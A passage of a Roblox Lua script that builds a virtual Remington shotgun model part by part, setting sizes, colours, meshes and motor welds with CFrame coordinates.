Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.777777791, 0.333333343, 0.777777791),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -1.71927184e-007, -0.00644563884, -0.99997896, 1, 1.50923825e-007, -1.72903526e-007),C1 = CFrame.new(0.00100708008, -0.0775299072, -2.71380615, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9290009, 238.115982, 0.999999285, -4.35450715e-008, 3.80975962e-009, -4.3577586e-008, -0.999956846, 0.00901973248, 3.41675488e-009, -0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.222222224, 0.277777761),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(0, -0.0543746948, -0.180480957, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell2 = New("Part",Remington_Model,"Shell2",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.2169991, 238.324005, -0.999999285, -4.35450644e-008, -3.80978449e-009, 4.3577586e-008, -0.999956846, -0.00901985168, -3.41675488e-009, -0.00901978463, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
Mesh = New("CylinderMesh",Shell2,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
mot = New("Motor",Shell2,"mot",{Part0 = Shell2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.3545068e-008, -0.999958932, -0.00901984051, -3.80976761e-009, -0.00901984051, 0.999958932),C1 = CFrame.new(-0.160995483, 0.235488892, -0.385894775, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.244444445),CFrame = CFrame.new(198.990005, 33.5600052, 237.401001, -0.999999046, -2.7611398e-007, -3.33740253e-008, 9.50260031e-008, -0.226423293, -0.974026442, 2.61385878e-007, -0.974025846, 0.226423472),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.555555522, 1),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.50261807e-008, 2.61386589e-007, -2.76114235e-007, -0.226423785, -0.974028587, -3.33740395e-008, -0.974028468, 0.226424068),C1 = CFrame.new(0.00399780273, -0.429805756, 0.531143188, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.998993, 33.9239998, 240.877991, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.388888896, 0.722222269, 0.444444448),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(-0.00498962402, -0.0344619751, -2.94242859, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.998993, 33.9839973, 240.876999, 1.52035412e-007, -2.15638124e-007, 0.999999285, -0.999976814, -0.00644749124, 1.50641782e-007, 0.00644754712, -0.999976099, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.222222224, 0.722222269, 0.555555522),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035526e-007, -0.9999789, 0.00644753594, -2.15638295e-007, -0.00644753594, -0.9999789, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(-0.00498962402, 0.0255241394, -2.94088745, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.244444445),CFrame = CFrame.new(198.990005, 33.5979958, 237.561996, -0.999999046, 1.44979921e-007, -1.03373257e-008, 2.27581189e-008, 0.226423576, 0.974026561, 1.43555056e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 2.27581332e-008, 1.4355544e-007, 1.44980078e-007, 0.226424068, 0.974028468, -1.03373159e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.390361786, 0.370498657, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2859993, 241.008987, 0.999999285, -3.76375993e-007, 3.99015931e-008, 3.76719981e-007, 0.999956846, -0.00901973248, -3.65051775e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.333333343, 0.277777761),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 3.76720777e-007, -3.6505245e-008, -3.76376278e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.328704834, -3.07014465, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0410004, 241.173981, 4.76836874e-007, -2.98023721e-008, -0.999999285, -0.999956846, -0.00901970267, -4.45666046e-007, -0.00901957601, 0.999956131, 3.49432128e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.388888896, 0.555555522),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 4.76837215e-007, -0.999958932, -0.00901963189, -2.98023721e-008, -0.0090196915, 0.999958932, -1, -4.45666984e-007, 3.49432732e-008),C1 = CFrame.new(0, 0.0852050781, -3.23735046, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.284996, 241.136978, -0.999999285, -5.49812398e-007, 4.75211088e-008, -5.4936072e-007, 0.999956846, 0.00901973248, -5.24781072e-008, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.333333343, 0.222222224),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, -5.49361857e-007, -5.2478299e-008, -5.49812796e-007, 0.999958932, 0.0090197213, 4.75211195e-008, 0.0090197213, -0.999958932),C1 = CFrame.new(0, 0.328857422, -3.19815063, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.222222224),CFrame = CFrame.new(198.990005, 33.8240013, 237.503998, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.164890289, 0.430541992, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.466666669),CFrame = CFrame.new(198.990005, 33.743, 237.74498, -0.999999046, 3.8339823e-007, -5.07963485e-008, 3.73333293e-008, 0.226423383, 0.97402668, 3.84941984e-007, 0.974025846, -0.22642298),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.888888896, 1),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 3.73334359e-008, 3.84943007e-007, 3.83398572e-007, 0.226423874, 0.974028587, -5.07963982e-008, 0.974028707, -0.226423576),C1 = CFrame.new(0.00399780273, -0.243713379, 0.188827515, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
BarrelTip = New("Part",Remington_Model,"BarrelTip",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.25555557, 0.200000003),CFrame = CFrame.new(198.994003, 34.2069969, 241.319, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Decal = New("Decal",BarrelTip,"Decal",{Face = Enum.NormalId.Top,Texture = "http://www.roblox.com/asset/?id=47760372",})
Mesh = New("CylinderMesh",BarrelTip,"Mesh",{Scale = Vector3.new(0.722222269, 1, 0.722222269),})
mot = New("Motor",BarrelTip,"mot",{Part0 = BarrelTip,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.252502441, -3.38085938, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0439987, 240.873978, 4.76836874e-007, -2.98023721e-008, -0.999999285, -0.999956846, -0.00901970267, -4.45666046e-007, -0.00901957601, 0.999956131, 3.49432128e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.666666687, 0.5, 0.666666687),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 4.76837215e-007, -0.999958932, -0.00901963189, -2.98023721e-008, -0.0090196915, 0.999958932, -1, -4.45666984e-007, 3.49432732e-008),C1 = CFrame.new(0, 0.0854949951, -2.93733215, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1940002, 238.32402, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.212490082, -0.386108398, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell3 = New("Part",Remington_Model,"Shell3",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.1259995, 238.479996, -0.999999285, -4.35450644e-008, -3.80978449e-009, 4.3577586e-008, -0.999956846, -0.00901985168, -3.41675488e-009, -0.00901978463, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
Mesh = New("CylinderMesh",Shell3,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
mot = New("Motor",Shell3,"mot",{Part0 = Shell3,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.3545068e-008, -0.999958932, -0.00901984051, -3.80976761e-009, -0.00901984051, 0.999958932),C1 = CFrame.new(-0.160995483, 0.145900726, -0.542694092, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 2.33333325, 0.200000003),CFrame = CFrame.new(198.994003, 34.0529976, 239.967987, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.611111104, 1, 0.611111104),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.0863227844, -2.03129578, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.544444442, 0.200000003, 0.200000003),CFrame = CFrame.new(199.100006, 34.1940002, 238.408005, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(1, 1, 0.222222224),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.106002808, 0.213249207, -0.470092773, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Flashlight = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8869972, 241.172989, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.888888896, 1, 0.888888896),})
mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0688018799, -3.23774719, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.1329994, 240.873993, 0.999999285, -4.6309799e-007, -0.000345309236, -2.65153176e-006, 0.999956846, -0.00901973248, 0.0003452987, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.444444448, 0.888888896, 0.5),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -2.65152653e-006, 0.000345299661, -4.63098331e-007, 0.999958932, 0.0090197213, -0.000345309469, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.174491882, -2.9365387, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.222222224),CFrame = CFrame.new(198.990005, 33.8080025, 237.440002, -0.999999046, -2.7611398e-007, -3.33740253e-008, 9.50260031e-008, -0.226423293, -0.974026442, 2.61385878e-007, -0.974025846, 0.226423472),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.388888896, 1),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.50261807e-008, 2.61386589e-007, -2.76114235e-007, -0.226423785, -0.974028587, -3.33740395e-008, -0.974028468, 0.226424068),C1 = CFrame.new(0.00399780273, -0.181465149, 0.494384766, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell4 = New("Part",Remington_Model,"Shell4",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.1170006, 238.634995, -0.999999285, -4.35450787e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901957601, -3.41675488e-009, -0.00901950896, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
Mesh = New("CylinderMesh",Shell4,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
mot = New("Motor",Shell4,"mot",{Part0 = Shell4,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.00901956484, -3.80974008e-009, -0.00901956484, 0.999958932),C1 = CFrame.new(-0.160995483, 0.138298035, -0.697769165, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Shell4 = New("Part",Remington_Model,"Shell4",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.2770004, 238.636993, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
Mesh = New("CylinderMesh",Shell4,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
mot = New("Motor",Shell4,"mot",{Part0 = Shell4,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.298309326, -0.69833374, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1940002, 238.479996, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.213897705, -0.54208374, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.8800011, 237.598999, 3.30005469e-006, 0.999997675, -1.50045219e-006, 0.226421654, 2.64618507e-006, 0.974025607, 0.974024713, -2.35094376e-006, -0.226419806),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,})
Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.666666687, 0.611111104, 0.666666687),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 3.30005719e-006, 0.226422161, 0.974027514, 0.999998391, 2.64619052e-006, -2.35095035e-006, -1.50045321e-006, 0.974027634, -0.226420417),C1 = CFrame.new(0.00399780273, -0.108036041, 0.336044312, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9160004, 237.942993, -0.999999285, 4.63591789e-007, 7.59031238e-009, -4.46960399e-007, -0.968218863, 0.250095546, 1.23291528e-007, 0.250095427, 0.968218207),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.277777761, 0.111111112),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, -4.46961337e-007, 1.23291827e-007, 4.63592158e-007, -0.96822089, 0.250096083, 7.59034524e-009, 0.250096083, 0.96822089),C1 = CFrame.new(0, -0.0689353943, -0.00761413574, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2859993, 241.074982, 0.999999285, -4.6309799e-007, -0.000345309236, -2.65153176e-006, 0.999956846, -0.00901973248, 0.0003452987, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
